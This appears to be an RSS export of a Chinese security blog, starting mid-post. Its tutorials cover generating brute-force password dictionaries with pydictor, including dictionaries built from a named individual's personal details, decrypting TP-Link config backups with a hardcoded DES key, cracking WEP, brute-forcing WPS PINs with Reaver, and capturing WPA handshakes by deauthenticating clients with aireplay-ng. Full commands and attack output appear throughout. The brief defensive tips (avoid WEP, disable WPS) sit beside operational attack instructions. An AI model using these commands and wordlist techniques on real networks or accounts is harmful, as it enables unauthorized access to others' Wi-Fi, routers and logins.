4. 爆破必备,新老皆宜.
</pre>
<h4>
	功能：
</h4>
<pre>1. 基于三大字符集(d:数字 L:小写字母 c:大写字母)的基础字典;
2. 基于自定义字符集(包括特殊字符)的字典;
3. 排列组合字典(几个字符或字符串的所有排列可能);
4. 用配置文件或者符合pydictor字典语法的字符串直接生成字典;
5. 析取网页中可能有意义的原始单词字典;
6. 基于关键词生成针对性密码字典;
7. 基于性别生成中国公民身份证后4/6/8位字典;
8. 生成一段时间内的生日字典(自定义位数);
9. 用pydictor的handler功能润色下自己的字典;
10.基于个人信息和规则生成社会工程学字典(呃，蹭下知名度，本质还是基于关键词，重在密码规则模式)
11.一系列和字典的整个生命周期有关的内置工具;
   包括字典合并、合并后去重、字典去重、单词频率统计、安全擦除字典;
12.一系列和生成优化字典有关的选项;
   包括自定长度范围、字典加前缀、加后缀、编码或加密字典、用1337模式、控制字典所用规则的程度、根据数字、字符和特殊字符的个数或种类的多少来筛选字典、用正则表达式来筛选字典等。</pre>
<h2 style="font-family:Arial, Helvetica, Verdana, Tahoma, sans-serif;">
	0x02：使用场景
</h2>
<h4>
	早期开发是为了让功能匹配使用场合，后期开发是让具体场景拥有对应的功能。
</h4>
<h3>
	01：字典合并<br />
</h3>
<p>
	字典都不是凭空捏造或生成的，一般都会参考前辈们公布的字典。所以，先收集百八十个字典，放到一个目录下，把字典合并起来吧。
</p>
<pre>1. 合并目录/网站路径爆破字典
2. 合并子域名字典
3. 合并用户名字典
4. 合并弱密码字典
5. 其它各式各样的字典</pre>
<pre style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.6px;margin-bottom:16px;word-wrap:normal;padding:16px;overflow:auto;line-height:1.45;background-color:#F6F8FA;color:#24292E;"><code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.6px;margin:0px;background:transparent;word-break:normal;white-space:pre;display:inline;overflow:visible;line-height:inherit;word-wrap:normal;">python pydictor.py -tool combiner /my/dict/dirpath -o comb.txt</code></pre>
<h3>
	02：词频统计
</h3>
<p>
	但是有时候我们通常不需要那么大的字典，选合并后字典的出现频率最高的前1000条保存吧。筛选出
</p>
<pre>最常用的网站路径/子域名/用户名/弱密码/...</pre>
<p>
	修改lib/data/data.py中counter_split变量指定的分隔符(默认"\n")，也可以统计其它字符分隔的字典词频.
</p>
<pre>python pydictor.py -tool counter vs comb.txt 1000</pre>
<h3>
	03：去除重复项<br />
</h3>
<p>
	面对合并后的超大字典，还是不舍得只要频率高的词，路径字典有时候还是多多益善。去重下，照单全收
</p>
<pre style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.6px;margin-bottom:16px;word-wrap:normal;padding:16px;overflow:auto;line-height:1.45;background-color:#F6F8FA;color:#24292E;"><code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.6px;margin:0px;background:transparent;word-break:normal;white-space:pre;display:inline;overflow:visible;line-height:inherit;word-wrap:normal;">python pydictor.py -tool uniqifer </code>comb.txt --output uniq.txt</pre>
<p>
	或者直接合并加去重
</p>
<pre>python pydictor.py -tool uniqbiner /my/dict/dirpath --output uniq.txt</pre>
<h3>
	04：枚举数字字典
</h3>
<p>
	准备好字典了，拿最基础的试试手
</p>
<pre style="font-size:12.6px;">1. 爆破4位或6位数字手机短信验证码
2. 爆破用户名ID值</pre>
<p>
	生成4位纯数字字典
</p>
<pre style="font-size:12.6px;">python pydictor.py -base d --len 4 4</pre>
<h3>
	05：简单用户名字典
</h3>
<p>
	不能确定是否存在某用户时，试试1位到3位的拼音字典，加上123456这样的几个弱口令，说不定就有意外收获：
</p>
<pre>python pydictor.py -base L --len 1 3 -o dict.txt</pre>
<h3>
	06：后台管理员密码字典(明文传输)<br />
</h3>
<p>
	经常遇到的测试场景了，就是一个登录页，把收集到的信息都用上，生成后台爆破字典，比如
</p>
<pre>域名:test.land.com.cn
编辑名:张美丽、Adaor、midato
公司名:上海美丽大米有限责任公司(如有雷同纯属巧合)
座机:568456
地址:xxx园区A座312室</pre>
<p>
	把自己常用的弱口令字典复制到wordlist/Web 目录下，最终生成的字典会包含它们；
</p>
<p>
	然后把下列信息写入/data.txt
</p>
<pre>test
land
zhangmeili
meili
zml
Adaor
midato
meilidami
mldm
shmldm
568456
A312</pre>
<p>
	生成字典：
</p>
<pre style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.6px;margin-bottom:16px;word-wrap:normal;padding:16px;overflow:auto;line-height:1.45;background-color:#F6F8FA;color:#24292E;"><code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.6px;margin:0px;background:transparent;word-break:normal;white-space:pre;display:inline;overflow:visible;line-height:inherit;word-wrap:normal;">python pydictor.py -extend /data.txt --level 3 --len 4 16</code></pre>
<p>
	<img src="https://landgrey.me/media/uploads/2017/11/18/meili1.png" alt="" style="display:block;margin:auto;" /> 
</p>
<p>
	弱口令字典 + 部分信息 + 生成规则 + level 3，最终生成了七万多条密码，一部分密码如下：
</p>
<p>
	<img src="https://landgrey.me/media/uploads/2017/11/18/meili2.png" alt="" style="display:block;margin:auto;" /> 
</p>
<p>
	<br />
</p>
<h3>
	07：后台管理员密码字典(前台普通加密)<br />
</h3>
<p>
	有时候网站的密码可能不是直接明文传输过去的，程序员会用js简单加密下再传输过去，比如base64编码、md5加密，这时候可以用--encode参数生成加密字典
</p>
<pre style="padding:16px;font-family:SFMono-Regular, Consolas, &quot;font-size:13.6px;color:#24292E;margin-bottom:16px;line-height:1.45;word-wrap:normal;background-color:#F6F8FA;box-sizing:border-box;overflow:auto;"><code style="font-family:SFMono-Regular, Consolas, &quot;font-size:13.6px;background:transparent;white-space:pre;box-sizing:border-box;margin:0px;word-break:normal;display:inline;overflow:visible;line-height:inherit;word-wrap:normal;">python pydictor.py -extend /data.txt --level 3 --len 4 16 --encode b64 </code>python pydictor.py -extend /data.txt --level 3 --len 4 16 --encode md5</pre>
<p>
	<br />
</p>
<h3>
	08：后台管理员密码字典(前台js自定义加密)
</h3>
<p>
	高级点的程序员，还喜欢前端自定义个js加密方法，把用户名和密码加密后传输过去，比如
</p>
<p>
	<img src="https://landgrey.me/media/uploads/2017/11/18/js1.png" alt="" style="display:block;margin:auto;" /> 
</p>
<p>
	这时候，普通爆破工具基本都无能为力了，但是却依旧可以通过pydictor来生成字典；
</p>
<p>
	修改/lib/fun/encode.py 文件的 test_encode()函数，用python语法仿照上图的加密方式再实现一遍加密：
</p>
<pre>def test_encode(item):
    c = chr(ord(item[0]) + len(item))
    for i in range(1, len(item)):
        c += chr(ord(item[i]) + ord(item[i - 1]))
    return quote(c)</pre>
<p>
	然后运行命令，生成按照前端js加密方法加密后的密码字典，可以直接用burpsuite加载
</p>
<pre>python3 pydictor.py -extend /data.txt --level 3 --len 4 16 --encode test
</pre>
<p>
	最后通过这种方式生成符合前端加密方法的用户名字典，先探测出存在的用户名，再结合几个弱密码，爆破出来100多个弱口令。
</p>
<p>
	<img src="https://landgrey.me/media/uploads/2017/11/18/js2.png" alt="" style="display:block;margin:auto;" /> 
</p>
<p>
	<br />
</p>
<p style="margin-left:20px;">
	需要注意的是，一般生成加密字典前要生成一个没加密的字典，因为每一项在文件中的顺序是一致的，所以爆破出来密码后，可以通过行数对照去没加密的字典中查找明文。
</p>
<p>
	<br />
</p>
<h3>
	09：复杂格式的字典
</h3>
<p>
	例如，你通过shoulder hack和一些信息，猜到别人的密码大概是<span></span> 
</p>
<pre>Cxhai【三位或四位数字】_abc123@【qq,163,wy,mail中的一个】，然后md5加密的值
</pre>
<p>
	这种复杂格式的字典，pydictor也可以轻松的生成
</p>
<pre>python pydictor.py --conf "Cxhai[0-9]{3,4}&lt;none&gt;_abc123@[qq,163,wy,mail]{1,1}&lt;none&gt;" --encode md5</pre>
<h4>
	没加密前的字典：
</h4>
<p>
	<img src="https://landgrey.me/media/uploads/2017/11/18/confdict.png" alt="" style="display:block;margin:auto;" /> 
</p>
<h4>
	最终加密后的字典：
</h4>
<p>
	<img src="https://landgrey.me/media/uploads/2017/11/18/confdictmd5_H3vUObl.png" alt="" style="display:block;margin:auto;" /> 
</p>
<h3>
	<br />
</h3>
<h3>
	10：社会工程学字典
</h3>
<p>
	通过配置文件定义的规则和一部分内置代码逻辑，你可以输入一些关于个人的信息，生成关于某个人可能用的密码，比如，我只知道一个的如下信息
</p>
<pre>姓名： 景林
生日：1997年7月16日
以前用过密码：Jlin520</pre>
<p>
	然后一波操作，生成了四万多条密码
</p>
<p>
	<img src="https://landgrey.me/media/uploads/2017/11/18/sedb.png" alt="" style="display:block;margin:auto;" /> 
</p>
<p>
	<br />
</p>
<p>
	嫌密码太多了？没事，只要长度6-16的，级别设置大点，密码会少很多；
</p>
<p>
	查看下当前配置，重新生成字典，只有三千多条了
</p>
<p>
	<img src="https://landgrey.me/media/uploads/2017/11/18/sedb2_OTYLJxM.png" alt="" style="display:block;margin:auto;" /> 
</p>
<p>
	<img src="https://landgrey.me/media/uploads/2017/11/18/sedb3.png" alt="" style="display:block;margin:auto;" /> 
</p>
<h3 style="font-family:Arial, Helvetica, Verdana, Tahoma, sans-serif;">
	<br />
</h3>
<h3 style="font-family:Arial, Helvetica, Verdana, Tahoma, sans-serif;">
	11：处理自己的字典
</h3>
<p>
	退一万步来讲，上面的字典都帮不了你，但是pydictor的<strong></strong>handler功能<strong></strong>还是可以帮你根据具体的使用场景来处理自己的字典，让自己原本的字典适用各种场合。
</p>
<p>
	比如:
</p>
<p>
	对方密码策略要求是6到16位；必须有数字和字母，不允许有特殊字符；前端js对密码base64编码后传输到后端。
</p>
<p>
	可以用下面的命令处理自己原先的字典raw.txt，生成符合本次爆破场景的字典：
</p>
<p>
	<br />
</p>
<pre style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.6px;margin-bottom:16px;word-wrap:normal;padding:16px;overflow:auto;line-height:1.45;background-color:#F6F8FA;color:#24292E;"><code style="box-sizing:border-box;font-family:SFMono-Regular, Consolas, &quot;font-size:13.6px;margin:0px;background:transparent;word-break:normal;white-space:pre;display:inline;overflow:visible;line-height:inherit;word-wrap:normal;">python pydictor.py -tool handler /wordlist/raw.txt --len 6 16 --occur "&gt;0" "&gt;0" "&lt;=0" --encode b64 -o /wordlist/ok.txt</code></pre>
<p>
	<br />
</p>
<h2 style="font-family:Arial, Helvetica, Verdana, Tahoma, sans-serif;">
	0x03：结语
</h2>
<p style="margin-left:20px;">
	pydictor的常见使用场景都简单介绍过了，另外还有一些特殊字典，比如身份证后几位、生日日期字典；内置的专门用来破解SSH弱口令的键盘模式<a href="https://github.com/LandGrey/pydictor/blob/master/wordlist/Sys/SSH_Root_Weak_Pass.txt">字典</a> 等等，就不一一介绍了，相信自己看看就能理解。
</p>
<p style="margin-left:20px;">
	结合目标的爆破场景，合理使用pydictor，人人都是爆破小能手。
</p>
<p>
	参考
</p>
<p>
	<a href="https://landgrey.me/skilled-to-using-pydictor/" target="_blank">https://landgrey.me/skilled-to-using-pydictor/</a>
</p>]]></description>
	<pubDate>Tue, 13 Aug 2019 13:33:48 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=80</guid>

</item>
<item>
	<title>TPLink 备份文件bin文件解析</title>
	<link>https://www.zuoer.xin/?post=79</link>
	<description><![CDATA[<pre class="prettyprint lang-js linenums">from Crypto.Cipher import DES
from hashlib import md5

key = '\x47\x8D\xA5\x0B\xF9\xE3\xD2\xCF'
crypto = DES.new( key, DES.MODE_ECB )

data = open('config.bin', 'rb').read()
data_decrypted = crypto.decrypt( data ).rstrip('\0')
assert data_decrypted[:16] == md5(data_decrypted[16:]).digest()
open('config.bin.txt', 'wb').write(data_decrypted[16:])
</pre>

或者
openssl enc -d -des-ecb -nopad -K 478DA50BF9E3D2CF -<span style="color:#0000ff;">in</span> config.bin
<br />]]></description>
	<pubDate>Tue, 13 Aug 2019 09:51:06 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=79</guid>

</item>
<item>
	<title>Kali Linux破解wifi密码(WEP)</title>
	<link>https://www.zuoer.xin/?post=78</link>
	<description><![CDATA[<p>
	WEP是无线路由器最初广泛使用的一种加密方式，这种加密方式非常容易被破解。
</p>
<p>
	目前很少有人使用wep加密方式，但是还是会有。
</p>
<p>
	建议：使用WPA/WPA2做为加密方式。
</p>
<p>
	抓包和“破解wpa/wpa2”方法一样，参考其中的前5步；
</p>
<ul>
	<li>
		<h2>
			<a href="https://www.zuoer.xin/?post=75" target="_blank">aircrack-ng使用方法 Linux 篇（推荐）</a>
		</h2>
	</li>
</ul>
<div>
	<h3 id="5-加快beacons和data数据的收集速度">
		1) 加快Beacons和Data数据的收集速度
	</h3>
	<p>
		和破解WPA/WPA2不同的是，它只要抓取到足够的Beacons和Data数据就可以破解，理想情况下是100000+。你可以等，也可以使用aireplay加快这个进程。
	</p>
<pre class="prettyprint lang-js linenums">aireplay-ng -3 -b "AP Mac地址" -h "wifi Mac地址" -x 1000 mon0
aireplay-ng -1 0 -a C8:3A:35:30:3E:C8 wlan0mon
aireplay-ng -3 -b C8:3A:35:30:3E:C8 wlan0mon
-b ap地址
</pre>
	<h3 id="6-开始破解">
		2) 开始破解：
	</h3>
	<div>
<pre class="prettyprint lang-js linenums"> aircrack-ng -x -f 2 *.cap

最后，不要忘了结束无线网卡的监控模式：

airmon-ng stop wlan0mon</pre>
		<hr />
		<p>
			总结：避免使用WEP加密方式。
		</p>
<br />
	</div>
<br />
</div>]]></description>
	<pubDate>Tue, 13 Aug 2019 08:15:38 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=78</guid>

</item>
<item>
	<title>使用Reaver破解开启了WPS功能的wifi密码(wpa/wpa2)</title>
	<link>https://www.zuoer.xin/?post=77</link>
	<description><![CDATA[<p>
	来自wikipeida：
</p>
<blockquote>
	<p>
		Wi-Fi保护设置（简称WPS，全称Wi-Fi Protected Setup）是一个无线网络安全标准，旨在让家庭用户使用无线网络时简化加密步骤。此标准由Wi-Fi联盟（Wi-Fi Alliance）于2006年制定。
	</p>
	<p>
		在2011年12月28日安全专家Stefan 
Viehbock报出此标准的一个重大安全漏洞，此漏洞允许远程攻击者使用暴力攻击在几小时内就能获取WPS的PIN码和WPA/WPA2的PSK码。一些新出产的无线路默认启动WPS功能，所以现在建议用户关闭无线路由器上的WPS一键加密功能，虽然有些无线器上无法关闭此功能。
	</p>
</blockquote>
<p>
	WPS的目的是简化用户输入密码的步骤；在某个设备连接wifi，需要输入密码时，只要按一下无线路由器上的wps按钮就可以了。
</p>
<p>
	Reaver是除字典破解之外的另一个选择：
</p>
<ul>
	<li>
		<h2>
			<a href="https://www.zuoer.xin/?post=75" target="_blank">aircrack-ng使用方法 Linux 篇（推荐）</a> 
		</h2>
	</li>
</ul>
<p>
	如果无线路由器开启了WPS，就不必使用上面的破解方法了。
</p>
<p>
	WPS的pin码并没有加密。Reaver会暴力破解pin码，找到pin码也就找到了密码。一般用时也不短。
</p>
<p>
	注意：
</p>
<ul>
	<li>
		网卡支持数据包注入，一般笔记本不支持
	</li>
	<li>
		要求无线信号强
	</li>
	<li>
		如果发送pin码过快，有可能造成路由器崩溃；就类似对服务器的DDOS攻击。
	</li>
	<li>
		Reaver有很多选项，我只使用最基本的选项，你也许需要根据情况使用其他选项。查看帮助：reaver ?
	</li>
</ul>
<p>
	执行
</p>
<h2>
	<a href="https://www.zuoer.xin/?post=75" target="_blank">aircrack-ng使用方法 Linux 篇（推荐）</a> 
</h2>
中的前四步，打开无线网卡的的监控模式。
<p>
	<br />
</p>
<h3 id="3找到开启wps功能的无线路由器">
	1）找到开启WPS功能的无线路由器
</h3>
<p>
	我们不用逐一测试，而是使用wash命令。
</p>
<pre class="prettyprint lang-js linenums">wash -i wlan1mon</pre>
<p>
	如果什么也没有表示周围没有开启WPS的无线路由器。记住要破解wifi的BSSID。
</p>
<h3 id="4开始破解密码">
</h3>
<h3 id="4开始破解密码">
	2）开始破解密码
</h3>
<pre class="prettyprint lang-js linenums">reaver -i wlan1mon -b&nbsp;C0:61:18:59:3E:9A  -vv
推荐使用 reaver -i wlan0mon -b C0:61:18:59:3E:9A -a -S -d9 -t9 -vv
</pre>
<p>
	<strong></strong>
	<p>
		因为–d9 –t9防止路由器pin死
	</p>
	<p>
		参数可参数说明：
	</p>
	<p>
		-i &nbsp;无线网卡名称
	</p>
	<p>
		-b &nbsp;目标AP的mac地址
	</p>
	<p>
		-a &nbsp;自动检测目标AP最佳配置
	</p>
	<p>
		-S &nbsp;使用最小的DH key，可以提高破解速度
	</p>
	<p>
		-vv &nbsp;显示更多的非严重警告（注意这是 2 个小写字母 v）
	</p>
	<p>
		-d &nbsp;即delay每穷举一次的闲置时间 预设为1秒
	</p>
	<p>
		-c &nbsp;信道编号
	</p>
	<p>
		-p &nbsp;PIN码四位或八位 &nbsp;//可以用8位直接找到密码。
	</p>
	<p>
		<br />
	</p>
等待2-10小时：
</p>
<p>
	最后，不要忘了结束无线网卡的监控模式：
</p>
<p>
	<br />
</p>
<pre class="prettyprint lang-js linenums">airmon-ng stop wlan0mon</pre>
<p>
	&nbsp; 破解完成之后，查看并记录下 PIN码 和 密码<br />
<br />
&nbsp; 获取到 PIN码 后，以后即便路由器更换了密码，我们也可以很迅速地通过 PIN码 重新获得新密码。举例：<br />
<br />
&nbsp;&nbsp;&nbsp; reaver&nbsp; -i&nbsp; wlan0mon -b&nbsp; xx:xx:xx:xx:xx:xx&nbsp; -p 12345670 <br />
注意：
</p>
<p>
	&nbsp;&nbsp;&nbsp; 1、如果在执行 reaver 命令后看到有 WARNING: Failed to associate with xx:xx:xx:xx:xx:xx 这样的提示信息，那么应该是你选择了一个不具备或关闭了 WPS 功能的路由器。这种情况下就执行wash 命令并重新选择一个路由器吧。<br />
<br />
&nbsp;&nbsp;&nbsp; 2、如果在执行 reaver 命令后看到有 warning detected ap rate limiting waiting 60 seconds before re-checking 这样的提示信息，这表示目标路由器开启了防 PIN破解 功能。因为我们是穷举 PIN码 进行破解的，当连续使用超过某个次数的 PIN码 后，路由器会暂时锁定 WPS 功能一段时间。这种情况下要么我们耐心等待其恢复 WPS 功能，要么执行 mdk3 wlan0mon a -a xx:xx:xx:xx:xx:xx （这是上面的目标AP的MAC地址）命令让路由器主动重启或被动重启以恢复 WPS 功能。
</p>
<p>
	总结：wps这个功能不用就把它关闭了吧。
</p>
<hr />
<p>
	一个小实验：
</p>
<p>
	我看到有人说隐藏SSID可以让wifi更不容易被破解，我就来测试一下。
</p>
<blockquote>
	<p>
		隐藏SSID就是把你老大的AP隐藏起来，不让别人搜索到。请注意，这样的话，在连接wifi时就要手动输入AP名。
	</p>
</blockquote>
<pre class="prettyprint lang-js linenums">airodump-ng &lt;处于监听模式的网卡名称&gt;
airodump-ng -c 6 --bssid C8:3A:35:30:3E:C8 wlan1mon
aireplay-ng -0 30 -a C8:3A:35:30:3E:C8 -c B8:E8:56:09:CC:9C wlan1mon</pre>
<p>
	破解密码的方法不变；使用上面两个命令就可以轻松得到ap名。
</p>
<p>
	事实证明，隐藏SSID并不管啥事；其实设置一个复杂的密码比隐藏SSID要管用的多。
</p>
<p>
	<br />
</p>]]></description>
	<pubDate>Tue, 13 Aug 2019 07:35:55 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=77</guid>

</item>
<item>
	<title>kali截图工具Scrot</title>
	<link>https://www.zuoer.xin/?post=76</link>
	<description><![CDATA[<div>
	<div>
		<p>
			<span style="font-size:24px;">kali&nbsp;截图工具Scrot的安装及使用:</span> 
		</p>
		<p>
			<span style="font-size:18px;">安装之前确认/etc/apt/sources.list&nbsp;&nbsp;&nbsp;源配好：</span> 
		</p>
		<p>
			<span style="font-size:18px;">没配好看这篇：</span>
		</p>
<header class="post-header">
		<h2>
			<a href="https://www.zuoer.xin/?post=71" target="_blank">2019 最新 Kali2.0可用国内源更新sources.list</a> 
		</h2>
</header>
		<p>
			<br />
		</p>
		<p>
			<span style="font-size:18px;">然后apt-get update &amp;&amp; apt-get upgrade &amp;&amp; apt-get dist-upgrade</span> 
		</p>
		<p>
			<span style="font-size:18px;">#apt-get&nbsp;install&nbsp;scrot</span> 
		</p>
		<p>
			<span style="font-size:18px;">使用方式：</span> 
		</p>
		<p>
			<span style="font-size:18px;">1截取整个桌面</span> 
		</p>
		<p>
			<span style="font-size:18px;">#scrot</span> 
		</p>
		<p>
			<span style="font-size:18px;">2指定保存目标文件夹和截图文件名(默认保存当前目录下)</span> 
		</p>
		<p>
			<span style="font-size:18px;">#scrot&nbsp;/root/Pictures/1.png</span> 
		</p>
		<p>
			<span style="font-size:18px;">3截取特定窗口或矩形区域</span> 
		</p>
		<p>
			<span style="font-size:18px;">#scrot&nbsp;-s</span> 
		</p>
	</div>
<a target="_blank" href="https://www.zuoer.xin/content/uploadfile/201908/92601565677609.png" id="ematt:125"><img src="https://www.zuoer.xin/content/uploadfile/201908/thum-92601565677609.png" title="点击查看原图" alt="2019-08-13-142541_1011x664_scrot.png" width="420" height="276" border="0" /></a><br />
</div>]]></description>
	<pubDate>Tue, 13 Aug 2019 06:17:45 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=76</guid>

</item>
<item>
	<title>aircrack-ng使用方法 Linux 篇（推荐）</title>
	<link>https://www.zuoer.xin/?post=75</link>
	<description><![CDATA[<h3>
	<span style="font-size:18px;">1. 安装 aircrack-ng</span> 
</h3>
<div>
	<ul>
		<li>
			使用相应包管理工具安装，例如 Debian/Ubuntu 使用 apt 安装：
		</li>
	</ul>
	<ul>
		<li>
<pre class="prettyprint lang-js linenums">sudo apt install aircrack-ng</pre>
		</li>
	</ul>
	<div>
		<h3>
			<span style="font-size:18px;">2. 查看可用的无线网卡</span> 
		</h3>
		<div>
			<ul>
				<li>
<pre class="prettyprint lang-js linenums">airmon-ng</pre>
				</li>
			</ul>
		</div>
		<ul>
			<li>
				<p>
					<a target="_blank" href="https://www.zuoer.xin/content/uploadfile/201908/e7ce1565677684.png" id="ematt:127"><img src="https://www.zuoer.xin/content/uploadfile/201908/e7ce1565677684.png" title="点击查看原图" alt="2019-08-13-142338_1121x153_scrot.png" width="1121" height="153" border="0" /></a> 
				</p>
<br />
			</li>
			<li>
				第一个自带网卡 不支持监听 ，第二个是我今天刚买回来的，我们用第二个
			</li>
		</ul>
		<div>
			<h3>
				<span style="font-size:18px;">3. 指定无线网卡开启监听模式</span> 
			</h3>
			<p>
				<ul>
					<li>
<pre class="prettyprint lang-js linenums">airmon-ng start &lt;网卡名称&gt;</pre>
<pre class="prettyprint lang-js linenums">root@kali:~# airmon-ng start wlan1

PHY	Interface	Driver		Chipset

phy0	wlan0		brcmfmac	Broadcom Inc. and subsidiaries BCM43602 802.11ac Wireless LAN SoC (rev 02)
phy2	wlan1		rt2800usb	Ralink Technology, Corp. RT2870/RT3070

		(mac80211 monitor mode vif enabled for [phy2]wlan1 on [phy2]wlan1mon)
		(mac80211 station mode vif disabled for [phy2]wlan1)
</pre>
					</li>
					<li>
						根据以上输出，已经把 wlp8s0 这块无线网卡开启监听模式，开启后名字是wlan1mon
					</li>
					<li>
						开启监听模式后无线网卡无法继续连接 wifi，使用后需要关闭监听模式。<br />
					</li>
				</ul>
				<p>
					<br />
				</p>
				<h3>
					<span style="font-size:18px;">4. 扫描附近的无线网络</span> 
				</h3>
				<p>
					<br />
				</p>
				<ul>
					<li>
<pre class="prettyprint lang-js linenums">airodump-ng &lt;处于监听模式的网卡名称&gt; 
</pre>
					</li>
					<li>
<pre class="prettyprint lang-js linenums">root@kali:~# airodump-ng wlan1mon

CH  6 ][ Elapsed: 3 mins ][ 2019-08-13 14:42                                         
                                                                                                                                  
 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID                 
                                                                                                                                                                            
 C0:61:18:59:3E:9A  -76      123        3    0  11  270  WPA2 CCMP   PSK  TP-LINK_3E9A                                            
                  
                                                                                                                                   
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe                                                         
                                                                                                                                   
 (not associated)   7C:49:EB:7B:BD:DE  -56    0 - 1     99      339  MERCURY_B478                                                        </pre>
					</li>
				</ul>
				<p>
					<br />
				</p>
				<ul>
					<li>
						<p>
							这一步会输出两个列表，两个列表不停在刷新。
						</p>
						<p>
							第一个列表表示扫描到的无线网络 AP 信息，会用到以下几列信息：
						</p>
						<ul>
							<li>
								BSSID: 无线 AP 的硬件地址
							</li>
							<li>
								PWR: 信号强度，值是负数，绝对值越小表示信号越强
							</li>
							<li>
								CH: 无线网络信道
							</li>
							<li>
								ENC: 加密方式，我们要破解的是 WPA2
							</li>
							<li>
								ESSID: 无线网络的名称
							</li>
						</ul>
						<p>
							第二个列表表示某个无线网络中和用户设备的连接信息：
						</p>
						<ul>
							<li>
								BSSID: 无线 AP 的硬件地址
							</li>
							<li>
								STATION: 用户设备的硬件地址
							</li>
						</ul>
						<p>
							扫描列表会不停刷新，确定最终目标后按 Ctrl-C 退出。
						</p>
						<p>
							这里仅仅是演示，所以列表只保留了一条结果。
						</p>
					</li>
				</ul>
				<p>
					<br />
				</p>
				<h3>
					<span style="font-size:18px;">5. 使用参数过滤扫描列表，确定扫描目标</span> 
				</h3>
				<p>
					<br />
				</p>
				<ul>
					<li>
<pre class="prettyprint lang-js linenums">airodump-ng -w &lt;扫描结果保存的文件名&gt; -c &lt;无线网络信道&gt; --bssid &lt;目标无线 AP 的硬件地址&gt; &lt;处于监听模式的网卡名称&gt;</pre>
					</li>
					<li>
<pre class="prettyprint lang-js linenums">root@kali:~# airodump-ng -w zuoer -c 11 --bssid C0:61:18:59:3E:9A wlan1mon
CH 11 ][ Elapsed: 1 min ][ 2019-08-13 14:52                                         
                                                                                                                                  
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                                                                                  
 C0:61:18:59:3E:9A  -77   0      789       30    0  11  270  WPA2 CCMP   PSK  TP-LINK_3E9A                                        
                                                                                                                                  
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe                                                        
                                                                                                                                  
 C0:61:18:59:3E:9A  E4:DB:6D:65:B6:BE  -68    0 - 0e     0       29                                                                
 C0:61:18:59:3E:9A  74:81:14:BC:0F:73  -72    0 -24      0       21                                                                
 C0:61:18:59:3E:9A  7C:04:D0:88:06:07  -76    0 -24      0       43                                                                
 C0:61:18:59:3E:9A  3C:A5:81:4D:83:83  -80    0 - 6e     0        1                                                                
 C0:61:18:59:3E:9A  14:3C:C3:BA:22:9B  -80    0 - 6      0        6    </pre>
					</li>
					<li>
						只有当扫描状态后面出现][ WPA handshake: C0:61:18:59:3E:9A后，我们才拿到拿到进行破解的握手包。
					</li>
					<li>
						扫描过程中如果有用户设备尝试连接 Wi-Fi 时，我们就会拿到握手包，刚才等了一分钟，可惜没有拿到，所以我们可以同时使用&nbsp;aireplay-ng <br />
对目标设备进行攻击，使其掉线重新连接，这样我们就拿到了握手包。
						<p>
							拿到握手包后按 Ctrl-C 结束扫描即可。
						</p>
					</li>
				</ul>
				<p>
					<br />
				</p>
				<h3>
					<span style="font-size:18px;">6. 使用 aireplay-ng 对目标设备发起攻击</span> 
				</h3>
				<p>
					<br />
				</p>
				<ul>
					<li>
<pre class="prettyprint lang-js linenums">aireplay-ng -&lt;攻击模式&gt; &lt;攻击次数&gt; -a 无线 AP 硬件地址&gt; -c &lt;用户设备硬件地址&gt; &lt;处于监听模式的网卡名称&gt;
</pre>
<pre class="prettyprint lang-js linenums">root@kali:~# aireplay-ng -0 0 -a C0:61:18:59:3E:9A -c 14:3C:C3:BA:22:9B wlan1mon
15:12:41  Waiting for beacon frame (BSSID: C0:61:18:59:3E:9A) on channel 11
15:12:42  Sending 64 directed DeAuth (code 7). STMAC: [14:3C:C3:BA:22:9B] [12|58 ACKs]
15:12:42  Sending 64 directed DeAuth (code 7). STMAC: [14:3C:C3:BA:22:9B] [ 7|60 ACKs]
15:12:43  Sending 64 directed DeAuth (code 7). STMAC: [14:3C:C3:BA:22:9B] [ 8|64 ACKs]
15:12:43  Sending 64 directed DeAuth (code 7). STMAC: [14:3C:C3:BA:22:9B] [ 3|57 ACKs]
15:12:44  Sending 64 directed DeAuth (code 7). STMAC: [14:3C:C3:BA:22:9B] [15|66 ACKs]
15:12:44  Sending 64 directed DeAuth (code 7). STMAC: [14:3C:C3:BA:22:9B] [22|60 ACKs]
15:12:45  Sending 64 directed DeAuth (code 7). STMAC: [14:3C:C3:BA:22:9B] [48|61 ACKs]
15:12:45  Sending 64 directed DeAuth (code 7). STMAC: [14:3C:C3:BA:22:9B] [25|57 ACKs]
15:12:46  Sending 64 directed DeAuth (code 7). STMAC: [14:3C:C3:BA:22:9B] [12|62 ACKs]
15:12:46  Sending 64 directed DeAuth (code 7). STMAC: [14:3C:C3:BA:22:9B] [11|60 ACKs]
15:12:47  Sending 64 directed DeAuth (code 7). STMAC: [14:3C:C3:BA:22:9B] [ 9|60 ACKs]
15:12:47  Sending 64 directed DeAuth (code 7). STMAC: [14:3C:C3:BA:^C:9B] [ 0| 9 ACKs]
</pre>
					</li>
					<li>
						发起攻击后，当airodump-ng成功拿到了握手包，使用 Ctrl-C 退出攻击。
					</li>
				</ul>
				<p>
					<br />
				</p>
				<h3>
					<span style="font-size:18px;">7. 使用 aircrack-ng 暴力破解 Wi-Fi 密码</span> 
				</h3>
				<div>
					<ul>
						<li>
<pre class="prettyprint lang-js linenums">aircrack-ng -w 密码字典 &lt;包含握手包的 cap 文件&gt;</pre>
						</li>
						<li>
<pre class="prettyprint lang-js linenums"> aircrack-ng -w common.txt zuoer.cap 
